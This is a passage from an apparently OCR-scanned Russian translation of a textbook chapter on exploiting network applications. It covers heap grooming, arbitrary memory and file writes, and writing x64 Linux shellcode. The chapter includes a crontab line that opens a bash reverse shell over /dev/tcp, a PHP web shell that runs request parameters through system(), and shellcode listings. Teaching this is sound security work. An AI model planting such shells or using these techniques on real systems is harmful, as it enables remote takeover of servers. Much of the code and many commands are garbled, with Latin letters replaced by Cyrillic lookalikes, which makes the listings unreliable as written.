Упиа/АПос, которая выделяет блок виртуальной памяти для текущего 
процесса. Однако использование распределителя виртуальной памя- 
ти ОС создает несколько проблем: 


• низкая производительность. Каждое выделение и освобожде- 
ние памяти требует, чтобы ОС переключалась в режим ядра и об- 
ратно; 


• неиспользованная память. Как минимум, выделение вирту- 
альной памяти выполняется на уровне страницы, который обыч- 
но составляет не менее 4096 байт. Если выделить память меньше 
размера страницы, остальная часть страницы будет неиспользо- 
ванной. 


Из-за этих проблем большинство реализаций кучи вызывают служ- 
бы ОС только в случае крайней необходимости. Вместо этого они вы- 
деляют большую область памяти за один раз, а затем реализуют код 
пользовательского уровня для распределения этого выделения на не- 
большие блоки для запросов на выделение служб. Еще один момент - 
эффективное решение проблемы высвобождения памяти. При прос- 
той реализации можно просто выделить большую область памяти, 
а затем увеличивать указатель в этой области для каждого выделения, 
возвращая следующий доступный адрес памяти по запросу. Это будет 
работать, но затем освободить эту память будет практически невоз- 
можно: более крупное выделение может быть высвобождено только 
после того, как будут высвобождены все вложенные выделения. Этого 
может никогда не произойти в долго работающем приложении. 

Альтернативой упрощенному последовательному выделению яв- 
ляется использование списка свободной памяти. Список свободной 
памяти поддерживает список освобожденных выделений внутри 
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большого выделения. Когда создается новая куча, ОС создает большое 
выделение, в котором список свободной памяти будет состоять из 
одного освобожденного блока размером с выделенную память. При 
выполнении запроса на выделение памяти реализация кучи просма- 
тривает список свободных блоков в поисках свободного блока доста- 
точного размера, чтобы вместить выделение. Затем реализация бу- 
дет использовать этот блок, выделит блок запроса вначале и обновит 
список свободной памяти, чтобы отразить новый свободный размер. 

Когда блок освобожден, можно добавить этот блок в список, а также 
проверить, свободна ли память до и после только что освобожденно- 
го блока, и попытаться объединить эти свободные блоки для борьбы 
с фрагментацией памяти, которая происходит, когда освобождается 
много небольших выделенных блоков, возвращая блоки в доступную 
память для повторного использования. Однако в записях списка сво- 
бодной памяти содержатся только их индивидуальные размеры, по- 
этому если запрошено выделение, превышающее любую из записей 
этого списка, реализация может потребовать дальнейшего расши- 
рения выделенной области ОС для удовлетворения запроса. Пример 
списка свободной памяти показан на рис. 10.6. 


Список свободной памяти Область памяти 


16 байт 

Свободный блок Выделенная 
52 байта 

Свободный блок 
16 байт Свободная 


Рис. 10.6. Пример простой реализации списка свободной памяти 


Свободный блок 
1024 байта 


Используя эту реализацию, вы должны увидеть, как получить распо- 
ложение кучи, подходящий для эксплуатации соответствующей уяз- 
вимости. Скажем, вы знаете, что блок кучи, который вы переполняе- 
те, составляет 128 байт; вы можете найти объект С++ с указателем из 
таблицы виртуальных функций, размер которого не меньше размера 
переполняемого буфера. Если вы заставите приложение выделить 
большое количество этих объектов, они будут последовательно раз- 
мещены в куче. Можно выборочно освободить один из этих объектов 
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(не имеет значения, какой), и есть большая вероятность, что когда вы 
выделяете уязвимый буфер, он повторно использует освобожденный 
блок. Затем можно выполнить переполнение буфера кучи и повре- 
дить таблицу выделенного объекта, чтобы выполнить код, как пока- 
зано на рис. 10.7. 


Выделенный объект Выделенный объект Выделенный объект Выделенный объект 


Свободный одиночный объект 


Выделенный объект Выделенный объект Р Р Выделенный объект 


Выделяем буфер 


Я я Буфер Я 
Выделенный объект Выделенный объект переполнения Выделенный объект 


> 
Направление переполнения 


Рис. 10.7. Выделение буферов памяти для обеспечения правильного макета 


При манипулировании кучей самая большая проблема в сетевой 
атаке – это ограниченный контроль над распределением памяти. 
При использовании веб-браузера можно применить Јауа$сгірё для 
простой настройки расположения кучи, но если речь идет о сетевом 
приложении, то все сложнее. Неплохое место для поиска распреде- 
ления объектов - это создание соединения. Если каждое соединение 
поддерживается объектом С++, вы можете управлять выделением па- 
мяти, просто открывая и закрывая соединения. Если этот метод не 
подходит, то вам почти наверняка придется использовать команды 
в сетевом протоколе для соответствующих выделений памяти. 


Определенные распределения пула памяти 


В качестве альтернативы произвольному списку свободной памяти 
можно использовать определенные пулы памяти для разных разме- 
ров выделения, чтобы соответствующим образом сгруппировать ме- 
нее крупные выделения. Например, можно указать пулы для выде- 
ления 16, 64, 256 и 1024 байт. После выполнения запроса реализация 
выделит буфер на основе пула, который наиболее точно соответству- 
ет запрошенному размеру и достаточно велик, чтобы соответство- 
вать выделению. Например, если вам нужно 50-байтовое выделение, 
оно будет помещено в 64-байтовый пул, а 512-байтовое выделение - 
в 1024-байтовый пул. Все, что превышает 1024 байта, будет выделено 
с использованием альтернативного подхода для больших распреде- 
лений. Использование пулов памяти большого размера уменьшает 
фрагментацию, вызванную небольшими выделениями. Пока есть сво- 
бодная запись для запрошенной памяти в пуле размера, она будет 
удовлетворена, и крупные выделения не будут так блокироваться. 
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Хранилище памяти в куче 


Последняя тема, которую следует обсудить в связи с реализациями 
кучи, - как информация, например список свободной памяти, хра- 
нится в памяти. Есть два способа. В первом способе такие метадан- 
ные, как размер блока и то, является ли состояние свободным или 
выделенным, хранятся вместе с выделенной памятью. Такой способ 
называется внутриполосным. В другом способе, известном как вне- 
полосный, метаданные хранятся в ином месте памяти. Внеполосный 
метод во многих отношениях лучше подходит для эксплуатации, по- 
тому что вам не нужно беспокоиться о восстановлении важных мета- 
данных при повреждении смежных блоков памяти, и он особенно по- 
лезен, когда вы не знаете, какие значения нужно восстановить, чтобы 
метаданные стали действительными. 


Произвольная запись в память 


Уязвимости пореждения памяти, часто являются простейшими уяз- 
вимостями, которые можно обнаружить с помощью фаззинга, но они 
не единственные, как упоминалось в главе 9. Самое интересное - это 
произвольная запись в файл в результате некорректной обработки 
ресурсов. Некорректная обработка ресурсов может быть связана с ко- 
мандой, которая позволяет напрямую указать местоположение запи- 
си файла, или с командой, имеющей уязвимость канонизации пути, 
позволяющую указать местоположение относительно текущего ката- 
лога. 

Как бы ни проявлялась уязвимость, полезно знать, что нужно будет 
записать в файловую систему, чтобы выполнить код. 

Произвольная запись в память, хотя и может быть прямым след- 
ствием ошибки в реализации приложения, также может появиться 
как побочный продукт другой уязвимости, например переполнение 
буфера кучи. Многие старые распределители памяти в куче исполь- 
зовали структуру связанного списка для хранения списка свободных 
блоков; если данные этого связанного списка были повреждены, лю- 
бая модификация списка свободной памяти могла привести к произ- 
вольной записи значения в указанное злоумышленником место. 

Чтобы эксплуатировать эту уязвимость, необходимо изменить 
место, которое может напрямую управлять выполнением. Например, 
можно нацелиться на указатель из таблицы виртуальных функций 
объекта в памяти и перезаписать его, чтобы получить контроль над 
выполнением, как в методах для других уязвимостей, вызывающих 
повреждения. 

Одно из преимуществ произвольной записи состоит в том, что она 
может привести к нарушению логики приложения. В качестве примера 
рассмотрим сетевое приложение, показанное в листинге 10.7. Его логи- 
ка создает структуру памяти для хранения важной информации о со- 
единении, например используемый сетевой сокет и был ли пользова- 
тель аутентифицирован как администратор при создании соединения. 
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Листинг 10.7. Простая структура сеанса соединения 


$Егисе Ѕеѕ51іоп { 
іп ѕосКкеї; 
іпЁ 15 айтіп; 


}; 


Ѕеѕѕіоп* зе551оп = Ма\{РогСоппес\оп(); 


В этом примере мы предполагаем, что некие проверки кода, неза- 
висимо от того, является данный сеанс сеансом администратора или 
нет, позволяют выполнять только определенные задачи, такие как из- 
менение конфигурации системы. 


Листинг 10.8. Открытие команды гип от имени администратора 


Соттапа с = АеаїСоттапа(ѕеѕѕіоп->ѕосКеї); 
1Ғ (с.соттапа == СМО_ВУМ_СОММАМО 
&& ѕеѕѕіоп->іѕ айтіп) { 
зуз{ет(с->дафа); 


} 


Обнаружив расположение объекта сеанса в памяти, можно изме- 
нить значение 15 _айтіп с 0 на 1, открыв команду гип для злоумыш- 
ленника, чтобы тот мог получить контроль над целевой системой. 
Мы также могли бы изменить значение сокета, чтобы оно указывало 
на другой файл, заставляя приложение записывать данные в произ- 
вольный файл при записи ответа, потому что на большинстве Опіх- 
подобных платформ файловые дескрипторы и сокеты фактически яв- 
ляются одним итем же типом ресурса. Системный вызов иг {е можно 
использовать для записи в файл точно так же, как для записи в сокет. 

Хотя это надуманный пример, он должен помочь вам понять, что 
происходит в реальных сетевых приложениях. В любом приложении, 
которое использует аутентификацию для разделения обязанностей 
пользователя и администратора, как правило, можно таким образом 
подорвать систему безопасности. 


Запись в файл при наличии высоких привилегий 


Если приложение работает с повышенными привилегиями, такими 
как привилегии суперпользователя или администратора, то ваши воз- 
можности для эксплуатации произвольной записи в файл обширны. 
Один из способов – перезаписывать исполняемые файлы или библио- 
теки, которые, как вы знаете, будут выполнены, например исполняе- 
мый файл, запускающий сетевую службу, которую вы эксплуатируе- 
те. Многие платформы предоставляют другие средства выполнения 
кода, такие как запланированные задачи или задания сгоп в пих. 
Если у вас есть соответствующие привилегии, вы можете писать 
собственные задания сгоп в каталог и выполнять их. В современных 
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системах пих обычно есть несколько каталогов сгоп, уже находя- 
щихся внутри каталога /еѓс, куда можно вести запись. У каждого из 
них есть суффикс, указывающий на то, когда задания будут выполне- 
ны. Однако для записи в эти каталоги необходимо предоставить фай- 
лу сценария полномочия на выполнение. 

Если произвольная запись в файл предоставляет только полномо- 
чия на чтение и запись, вам потребуется записать в каталог /еѓс/сгоп.а 
файл Сгопќаб для выполнения произвольных системных команд. 
В листинге 10.9 показан пример простого файла Сгоп(аВ, который бу- 
дет запускаться раз в минуту и подключать процесс оболочки к про- 
извольному хосту и ТСР-порту, где можно получить доступ к систем- 
ным командам. 


Листинг 10.9. Простой файл СпотаВ 


жж гооф /Б1п/БазВ -с '/Біп/Баѕһћ -1 >& /іеу/Еср/127.0.0.1/1234 0>81' 


Этот файл должен быть записан в каталог /еѓс/сгоп.а/гип ѕћһеі1. Обра- 
тите внимание, что некоторые версии БазВ не поддерживают данный 
синтаксис обратной оболочки, поэтому вам придется использовать 
что-нибудь еще, например сценарий на Рутоп, для достижения того 
же результата. Теперь посмотрим, как эксплуатировать уязвимости 
при записи в файлы с низкими привилегиями. 


Запись в файл при низких привилегиях 


Если у вас нет высоких привилегий, еще не все потеряно; однако ваши 
возможности будут более ограничены, и вам все равно необходимо 
понимать, что в системе доступно для эксплуатации. Например, если 
вы пытаетесь эксплуатировать уязвимости в веб-приложении или на 
компьютере установлен веб-сервер, то можно обратить внимание на 
веб-страницу с отрисовкой на стороне сервера, к которой затем мож- 
но будет получить доступ через веб-сервер. На многих веб-серверах 
также есть РНР, позволяющий выполнять команды от имени пользо- 
вателя веб-сервера и возвращать результат этой команды, записывая 
файл, показанный в листинге 10.10, в корневой каталог сети (это мо- 
жет быть /маг/мму/ћіті или одно из множества других мест) с расши- 
рением .рйр. 


Листинг 10.10. Простая оболочка РНР 


<?рһр 

ДЕ (155е&(5 АЕООЕЅТ[ 'ехес'])) { 
Ѕехес = $_ВЕСЦЕЗТ[  'ехес']; 
$гези{ = ѕуѕіет(Ѕехес); 
есһо $гези +; 


} 


?> 
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После того как вы поместите эту оболочку в корневой каталог, 
вы можете выполнить произвольные команды в системе в контек- 
сте веб-сервера путем запроса ОВІ-адреса в виде ИНр://егует/зйеИ. 
рһр?ехес=СМР”. ОКІ-адрес приведет к выполнению кода РНР на сер- 
вере: оболочка РНР извлечет параметр ехес из ОВІ-адреса и передаст 
его системному АРІ с результатом выполнения произвольной коман- 
ды СМБ. 

Еще одно преимущество РНР заключается в том, что не имеет зна- 
чения, что еще находится в файле, когда он написан: парсер РНР будет 
искать теги <? рһр..?> и выполнять любой код в этих тегах независимо 
от того, что еще есть в файле. Это полезно, когда у вас нет полного 
контроля над тем, что записывается в файл во время эксплуатации 
уязвимости. 


Написание шелл-кода 


Теперь посмотрим, как написать собственный шелл-код. Используя 
его, вы можете выполнять произвольные команды в контексте при- 
ложения, которое эксплуатирует обнаруженную уязвимость порежде- 
ния памяти. 

Написание собственного шелл-кода может быть непростой задачей, 
и хотя я не могу полностью рассказать об этом в оставшейся части этой 
главы, я приведу несколько примеров, на которые вы сможете опи- 
раться, продолжая исследование данной темы. Я начну с основных 
приемов и проблем написания кода для архитектуры х64 с использо- 
ванием платформы Шпих. 


Приступим 
Чтобы приступить к написанию шелл-кода, вам понадобится: 
• 64-разрядная версия пих; 
• компилятор; подходят как ССС, так и СГАМС; 
• копия Љ№еѓиійе Аззет Мег (МАЅМ); в большинстве дистрибутивов 


Ипих есть соответствующий пакет. 


В "Ређіап и ОБипи все, что нужно, можно установить с помощью 
следующей команды: 


$440 ар*-дее іпѕёа11 Би 19-еззеп{1а\ паѕт 


Мы будем писать шелл-код на языке ассемблера х64 и собирать 
его с помощью ассемблера пазм. Сборка шелл-кода должна привести 
к созданию двоичного файла, содержащего только указанные вами 
машинные инструкции. Чтобы протестировать его, можно использо- 
вать листинг 10.11, написанный на С. 
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Листинг 10.11. Программа для тестирования шелл-кода 


тез ѕһесоде.с #пс1и4де <Рсп\.|> 
Иисиде <$5&Чо.Н> 
пс иде <ѕЁа11Ь.һ> 
ос иде <5у$ /ттап.һ> 
#іпс1џйе <5уѕ/ѕЁаё.һ> 
Нас иде <ипіѕЁа. ћ> 


{уреде{ ілё (*ехес_ сойе ё) (моі); 


1пЕ таіп(іпё агос, сһаг** агду) { 
АЕ (агас < 2) { 
ргіпЕғ("Шѕаде: ёеѕ_ѕћһе11сойе ѕһе11сойе.Біп\п"); 
ехії(1); 
} 


Ө іп #4 = ореп(агду[1], 0_ВООМЕУ); 
АЕ (19 <= 0) { 
реггог( "ореп"); 
ехії(1); 
} 


ЅіЕгоисЁ ЅЁаЁ 5 ; 

АЕ (#Ғѕёа(Ға, 851) == -1) { 
реггог("ѕ&ёаї"); 
ехії(1); 

} 


Ө ехес сойе + ѕһе11 = мтар(МИШЕ, $%.5%_517е, 
Ө РВОТ ЕХЕС | РАОТ ВЕАО, МАР РАІҮАТЕ, #4, 0); 
4Е (ѕһе11 == МАР РАІЕЮ) { 
реггог("ттар"); 
ехії(1); 
} 


ргіпЕғ("Марреа Аййгеѕѕ5: %р\п", ѕһе11); 
ргіпЕ("ЅһҺе11 Вези{: %4\п", ѕһће11()); 


гефигп 0; 


Здесь мы берем путь из командной строки ® и отображаем его 
в память Ө. Мы указываем, что данный код является исполняемым, 
используя параметр РКОТ_ЕХЕС; в противном случае различные сред- 
ства защиты от эксплойтов на уровне платформы могут потенциаль- 
но остановить выполнение шелл-кода. 

Скомпилируйте тестовый код с помощью установленного компи- 
лятора С, выполнив следующую команду в оболочке. Во время ком- 
пиляции не должно быть никаких предупреждений. 


$ сс -Ма11 -о +еѕї ѕһе11сойе Ёеѕї_ѕһе11сойе.с 
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Чтобы протестировать код, поместите следующий код в файл ѕће//- 
соде.аѕт, как показано в листинге 10.12. 


Листинг 10.12. Пример простого шелл-кода 


; АззетЬе аѕ 64 БЛ 
ВІТЅ 64 

пом гах, 100 

геї 


Шелл-код из листинга 10.12 просто перемещает значение 100 в ре- 
гистр КАХ. Регистр КАХ используется как возвращаемое значение для 
вызова функции. Тестовая программа будет вызывать этот шелл-код, 
как если бы это была функция, поэтому мы ожидаем, что значение 
регистра КАХ будет возвращено в тестовую программу. Затем шелл- 
код незамедлительно выдает инструкцию геї, возвращаясь к вызы- 
вающему коду, который в данном случае является нашей тестовой 
программой. После эта программа должна вывести возвращаемое 
значение 100 в случае успеха. 

Давайте попробуем. Сначала нужно собрать шелл-код с помощью 
пазм, а затем мы выполним его в тестовой программе: 


$ паѕт -Ё БАп -о ѕће11соде.Біп ѕһе11соде.аѕт 
$ ./Ееѕі ѕһе11соде ѕһе11сойе.Біп 

Марреа АФЧгез$: 0х7Ға51е860000 

не Аеѕи1&: 100 


Вывод возвращает 100, подтверждая, что мы успешно загрузили 
и выполнили шелл-код. Также стоит убедиться, что собранный код 
в получившемся в итоге двоичном файле соответствует тому, что мы 
ожидали. Это можно проверить с помощью сопутствующей утилиты 
пдіѕаѕт, которая дизассемблирует этот простой двоичный файл без 
использования дизассемблера, такого как ІРА Рго. Нужно использо- 
вать переключатель -Ь 64, чтобы убедиться, что пііѕаѕт использует 
64-битное дизассемблирование, как показано здесь: 


$ паіѕаѕт -Б 64 ѕһе11соҒе.Біп 
00000000 В864000000 тоу еах,0х64 
00000005 СЗ ге 


Вывод паіѕаѕт должен совпадать с инструкциями, которые мы ука- 
зали в исходном файле шелл-кода в листинге 10.12. Обратите внима- 
ние, что в инструкции тоу мы использовали регистр КАХ, а в выводе 
дизассемблера мы находим регистр ЕАХ. Ассемблер использует этот 
52-битный регистр вместо 64-битного регистра, потому что понима- 
ет, что константа 0х64 вписывается в 32-битную константу, поэтому 
он может использовать более короткую инструкцию, вместо того что- 
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бы загружать 64-битную константу целиком. Это не меняет поведения 
кода, потому что при загрузке константы в ЕАХ процессор автомати- 
чески установит старшие 32 бита регистра ВАХ в ноль. Директива В1Т$ 
также отсутствует, поскольку она предназначена для ассемблера пам 
и позволяет включить поддержку 64-битной системы. В окончатель- 
ном выводе она не нужна. 


Простая техника отладки 


Прежде чем приступить к написанию более сложного шелл-кода, рас- 
смотрим простой метод отладки. Это важно при тестировании ва- 
шего эксплойта в полном объеме, поскольку остановка выполнения 
шелл-кода в том месте, где вы этого хотите, может оказаться непрос- 
той задачей. Мы добавим точку останова к нашему шелл-коду с по- 
мощью инструкции 1п{3, чтобы при вызове связанного кода подклю- 
ченный отладчик получил уведомление. 

Измените код из листинга 10.12, как показано в листинге 10.13, что- 
бы добавить инструкцию 1п*3, а затем перезапустите ассемблер паѕп. 


Листинг 10.13. Простой пример шелл-кода с точкой останова 


# АзземЬе аз 64 БЕ 
ВІТЅ 64 

1163 

пом гах, 100 

геї 


Если вы выполните тестовую программу в отладчике, таком как 
СРВ, вывод должен быть похож на тот, что показан в листинге 10.14. 


Листинг 10.14. Установка точки останова 


$ 94 --агдѕ ./ёеѕі ѕһе11сойе ѕһе11сойе.Біп 
СМО а4Ь 7.7.1 


(996) аіѕр1ау/11 $гАр 

(996) г 

Зфагпд ргодгат: /һоте/иѕег/ёеѕ_ѕһе11сойе деБид_БгеаКк.БАп 
Марред АФЧгез$: 0х7+6658413000 


Ргодгат гесеімей ѕідпа1 5ІСТВАР, Тгасе/Ьгеакроіпё гар. 
0х00007#Ь6584#3001 іп ?? () 

1: х/Аі Ѕгір 

=> 0х7#06584#3001: мо\ $0х64 ,Хеах 

(996) °{ер\ 

0х00007#Ь6584#3006 іп ?? () 

1: х/Аі Ѕгір 

=> 0х7#Ь6584#3006: гед 

(996) 

0х00000000004007#6 іп таіп () 
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1: х/і Ѕгір 
=> 0х4007#6 <таіп+281>: тоу %еах ,Хеѕі 


При выполнении тестовой программы отладчик останавлива- 
ется на сигнале 5ІСТВАР Ө. Причина состоит в том, что процессор 
выполнил инструкцию 1п{3, которая действует как точка останова, 
в результате чего ОС отправляет сигнал 5ІСТКАР процессу, который 
обрабатывает отладчик. Обратите внимание, что когда мы выводим 
инструкцию, которая выполняется в данный момент Ө, это не ин- 
струкция 1п{3, а инструкция поу. Мы не видим инструкцию 1п*3, по- 
тому что отладчик автоматически пропустил ее, чтобы продолжить 
выполнение. 


Вызов системных вызовов 


Пример шелл-кода из листинга 10.12 возвращает значение 100 только 
вызывающей стороне, в данном случае нашей тестовой программе, 
что не очень полезно для эксплуатации уязвимости; для этого нам 
нужно, чтобы система поработала за нас. Самый простой способ сде- 
лать это в шелл-коде - использовать системные вызовы ОС. Систем- 
ный вызов указывается с использованием номера, определенного 
операционной системой. Он позволяет вызывать основные систем- 
ные функции, такие как открытие файлов и выполнение новых про- 
цессов. 

Использовать системные вызовы проще, чем обращаться к си- 
стемным библиотекам, потому что вам не нужно знать расположение 
библиотек, таких как системная библиотека С. Отсутствие необходи- 
мости знать это упрощает написание шелл-кода и делает его более 
переносимым для разных версий одной и той же ОС. 

Однако у использования системных вызовов есть и обратная сто- 
рона: обычно они реализуют гораздо более низкоуровневую функци- 
ональность по сравнению с системными библиотеками, что, как вы 
увидите, усложняет их вызов. Это особенно актуально в случае с Міп- 
Чомгз, где системные вызовы очень сложные. Но для наших целей бу- 
дет достаточно системного вызова, чтобы продемонстрировать, как 
написать собственный шелл-код. 

Системные вызовы имеют собственный определенный двоичный 
интерфейс приложений (АВ!) (подробнее см. раздел «Двоичный ин- 
терфейс приложений»). В 64-разрядной версии Шпих системный вы- 
зов выполняется с использованием следующего АВГ: 


• номер системного вызова помещается в регистр КАХ; 


• системному вызову в регистрах ВПТ, В$Т, КОХ, В 10, В8 и В9 можно 
передать до шести аргументов; 


• системный вызов выполняется с помощью инструкции зузсаП; 


• результат системного вызова сохраняется в КАХ после возврата 
команды ѕуѕса!. 
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Для получения дополнительной информации о процессе системного 
вызова Шпих выполните команду пап 2 ѕуѕса\ в терминале Глпих. Эта 
страница содержит руководство, описывающее процесс системного вы- 
зова, и определяет АВГ для различных архитектур, включая х86 и АКМ. 
Кроме того, данная команда предоставляет список всех доступных си- 
стемных вызовов. Вы также можете прочитать отдельные страницы для 
системного вызова, выполнив команду пап 2 <5ҮЅТЕМ САН: МАМЕ>. 


Системный вызов ехії 


Чтобы использовать системный вызов, сначала нужен его номер. 
В качестве примера возьмем системный вызов ехії. 

Как найти номер конкретного системного вызова? Шпих поставля- 
ется с файлами заголовков, которые определяют все номера систем- 
ных вызовов для текущей платформы, но попытка найти правильный 
файл заголовка на диске может быть похожа на погоню за собствен- 
ным хвостом. Вместо этого мы позволим компилятору С проделать 
всю работу за нас. Скомпилируйте код из листинга 10.15 и выполните 
его, чтобы вывести номер системного вызова ехії. 


Листинг 10.15. Получение номера системного вызова 


Нас иде <ѕЁаіо.һ> 
#іпс1ийе <5уѕ/ѕуѕса11.һ> 


іпЁ маіп() { 
ргіпғ("Ѕуѕса11: %4\п", 5Ү5 _ехії); 
гефигп 0; 


| 


В моей системе номер системного вызова ехії - 60, который вы- 
водится у меня на экране; ваш может отличаться в зависимости от 
версии ядра Шпих, которую вы используете, хотя цифры меняются не 
очень часто. Системный вызов ех1{ специально принимает код за- 
вершения процесса в качестве единственного аргумента для возврата 
в ОС и указывает, почему процесс завершился. Следовательно, нам 
нужно передать номер, который мы хотим использовать для кода за- 
вершения процесса, в ВОГ. Двоичный интерфейс приложений Мпих 
уточняет, что первый параметр системного вызова указан в регистре 
ВОГ. Системный вызов ех1{ ничего не возвращает из ядра; вместо 
этого процесс (оболочка) сразу же завершается. Давайте реализуем 
вызов ехії. Соберите код из листинга 10.16, используя пазм, и запус- 
тите его внутри тестовой программы. 


Листинг 10.16. Вызов системного вызова ехй в шелл-коде 


ВІТЅ 64 

; Тһе ѕуѕса11 питбег оф ехіё 
пом гах, 60 

; Тһе ехіё сойе агдџтепё 
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том гаі, 42 

ѕуѕса11 

; ехіё ѕһоџ1а пемег гефигп, Биё јиѕіё іп саѕе. 
Ке 


Обратите внимание, что первый оператор печати в листинге 10.16, 
который показывает, где был загружен шелл-код, все еще работает, 
а последующий оператор для возврата шелл-кода - нет. Это указывает 
на то, что шелл-код успешно вызвал системный вызов ех1+{. Чтобы еще 
раз проверить это, можно отобразить код выхода из тестовой програм- 
мы в своей оболочке, например используя есћо $? в Ваѕћ. Это должна 
быть цифра 42, а это именно то, что мы передали в аргументе тоу гі. 


Системный вызов ме 


Теперь попробуем вызвать мгіїе, чуть более сложный системный 
вызов, который записывает данные в файл. Используйте следующий 
синтаксис: 


ѕѕі7е Ё иг1е (іп Ёа, сопѕї моїй * БиЁ, $12е_+ соџпё); 


Аргумент {4 - это файловый дескриптор, куда ведется запись. Он 
содержит целочисленное значение, описывающее, к какому файлу 
вы хотите получить доступ. Затем вы объявляете данные для записи, 
указывая расположение данных для буфера. Можно указать, сколько 
байтов нужно записать, с помощью соуп*. 

Используя код из листинга 10.17, мы передадим значение 1 аргу- 
менту 19, который является стандартным выводом для консоли. 


Листинг 10.17. Вызов системного вызова угйе в шелл-коде 


ВТТ5 64 


%деАпе 5Ү5 _игіе 1 
%аеҒіпе 5Т0ОШТ 1 


_Ѕ+агі: 
тоу гах, 5Ү5 мгіёе 

; Тһе Ғігѕё агдџтепё (гді) 15 Ве 5Т000Т Ее еѕсгірїог 
пом гаї, 5Т0О0Т 

; Тһе зесоп@ агдумепе (гѕ1) 15 а роіпёег ёо а ѕїгіпд 
Теа гѕі, [ дгееїіпд] 

; Тһе &һіга агдутепе (гах) 15 Ёһе 1епдЁһ оЁ {Ре ѕігіпд фо игле 
пом гіх, _дгееёіпо_епі - _9дгее пд 

; Ехесиёе {Ве мгіёе ѕуѕёет са11 
зузсаЦ. 
геї 


_9гее пд: 
96 "Нео Оѕег!", 10 
_дгееїіпд_епа: 
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Выполняя запись в стандартный вывод, мы выводим данные, ука- 
занные в Би, на консоль, чтобы увидеть, сработало ли это. В случае 
успеха в консоль оболочки, где работает тестовая программа, должна 
быть выведена строка Не11о Џѕег! Системный вызов иг\{е также дол- 
жен вернуть количество байтов, записанных в файл. 

Теперь соберите код из листинга 10.17 с помощью паѕт и выполни- 
те двоичный файл в тестовой программе: 


$ паѕт -Ё БАп -о ѕће11сойе.Біп ѕһе11соде. ам 
$ ./ёеѕё ѕһе11сойе ѕһе11сойе.Біп 

Маррей АФгез$: 0х7Ғ165се1ғ000 

ЅҺе11 Аеѕи1&: -14 


Вместо приветствия Не11о Изег!, которое мы ожидали увидеть, мы 
получаем странный результат -14. Любое значение, возвращаемое си- 
стемным вызовом мгіќе, которое меньше нуля, указывает на ошибку. 
В Им х-подобных системах, включая Шпих, существует набор опре- 
деленных номеров ошибок (сокращенно еггпо). Код ошибки опреде- 
ляется системой как положительный, но возвращается как отрица- 
тельный, чтобы указать на то, что это состояние ошибки. Код ошибки 
можно найти в системных заголовочных файлах С, но короткий сце- 
нарий Руолп из листинга 10.18 сделает всю работу за нас. 


Листинг 10.18. Простой сценарий на Ру поп для вывода кодов ошибок 


ітрогі 05 


# Указываем положительный номер ошибки 
егг = 14 

ргАпЕ оѕ.еггпо.еггогсойе[егг] 

# Выводит ' ЕРАЦЁТ' 

ргАпЕ 0$.$%геггог(егг) 

# Выводит 'Ваа адйгеѕѕ' 


При запуске сценария выводится имя кода ошибки, ЕРАЦЕТ, и опи- 
сание строки, Ваа аййгеѕѕ. Этот код указывает на то, что системный 
вызов попытался получить доступ к недействительному адресу па- 
мяти, что привело к сбою. Единственный адрес памяти, который 
мы передаем, - это указатель на приветствие. Посмотрим на дизас- 
семблированный код, чтобы выяснить, виноват ли переданный ука- 
затель: 


00000000 В801000000 тоу гах ,0х1 
00000005 ВЕО1000000 тоу гаі ,0х1 
0000000А 488034251А000000 Теа гѕі, [Өх1а] 
00000012 ВАбС900000 тоу гах ,Өхс 
00000017 09705 зузсаЦ. 
00000019 СЗ геї 


0000001А аЬ "Не11о Џѕег!", 10 
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Теперь мы видим проблему: инструкция Теа, загружающая адрес 
в приветствие, загружает абсолютный адрес Ох1А. Но если посмот- 
реть на выполненные нами до сих пор запуски тестовой программы, 
то адрес, по которому мы загружаем исполняемый код, находится не 
в Ох1А или где-либо поблизости. Это несоответствие между местом 
загрузки шелл-кода и абсолютными адресами вызывает проблему. 
Не всегда заранее можно определить, где шелл-код будет загружен 
в память, поэтому нам нужен способ ссылаться на приветствие от- 
носительно текущего места выполнения. Посмотрим, как это сделать 
в 32-битных и 64-битных процессорах с архитектурой х86. 


Доступ к относительному адресу в 32-и 64-битных системах 


В 32-битном режиме самый простой способ получить относительный 
адрес – воспользоваться тем фактом, что инструкция саЦ. работает 
с относительными адресами. Когда эта инструкция выполняется, она 
помещает в стек абсолютный адрес следующей инструкции в качест- 
ве адреса возврата. Можно использовать это абсолютное значение 
адреса возврата, чтобы вычислить, откуда выполняется текущий 
шелл-код, и настроить адрес памяти приветствия. Например, заме- 
ните инструкцию Теа из листинга 10.17 следующим кодом: 


са11 де гір 

_деі гір: 

; Рор гефигп аййгеѕѕ оЁЁҒ {Ве ѕ#аск 

рор гѕі 

; Ааа ге1аїіуе оЁҒѕеЁ Ғгот гефигп Ёо дгееёіпд 
айа гѕі, дгееїіпд - _де гір 


Все работает хорошо, но это значительно усложняет код. К счастью, 
в 64-битном наборе команд появилась относительная адресация дан- 
ных. Можно получить доступ к ней в паѕт, добавив перед адресом 
ключевое слово геі. Изменив инструкцию Теа следующим образом, 
мы можем получить доступ к адресу приветствия относительно теку- 
щей выполняющейся инструкции: 


Теа гѕі, [ге\ _9дгее ла] 


Теперь мы можем заново собрать наш шелл-код с этими измене- 
ниями, после чего должны увидеть приветствие: 


$ пазм -Ё БАп -о ѕће11сойе.Біп ѕһе11соде.аѕт 
$ ./Ееѕі ѕһе11соде ѕһе11сойе.Біп 

Марреа Абйгеѕ5: 0х7+1654е410900 

Не1Ло Џѕег! 

не. Аеѕи1&: 12 


504 глава 10 


ехесуе.а5т 


Выполнение других программ 


Давайте завершим наш обзор системных вызовов выполнением еще 
одного двоичного файла с помощью системного вызова ехесуе. Вы- 
полнение еще одного двоичного файла - это распространенный ме- 
тод выполнения кода в целевой системе, не требующий длинного 
и сложного шелл-кода. Системный вызов ехесуе принимаеттри пара- 
метра: путь к запускаемой программе, массив аргументов командной 
строки с массивом, заканчивающимся значением №, и массивом 
переменных окружения, заканчивающимся значением М. Вызов 
ехесуе требует больше работы, нежели вызов простых системных вы- 
зовов, таких как мгіќе, потому что нам нужно создать массивы в сте- 
ке; однако это не так уж и сложно. В листинге 10.19 мы выполняем 
команду џпате путем передачи ей аргумента -а. 


Листинг 10.19. Выполнение произвольного исполняемого файла в шелл-коде 


ВІТЅ 64 
ФаеҒіпе 5У5_ехесуе 59 


_Ѕ+агі: 
тоу гах, 5У5_ехесуе 
; [оад {Ве ехесџёаБ1е раһ 
© Теа гаі, [ге1 _ехес ра+һ] 
; оаа {Ве агдитепе 
Теа гѕі, [ге _агдитепі] 
; Ви агдутепЕ аггау оп ѕёаск = { _ехес раЁћ, _агдитепё, МШ } 
Ө риѕһ 0 
риѕћ гѕі 
риѕћ гаі 
Ө поу г51, гѕр 
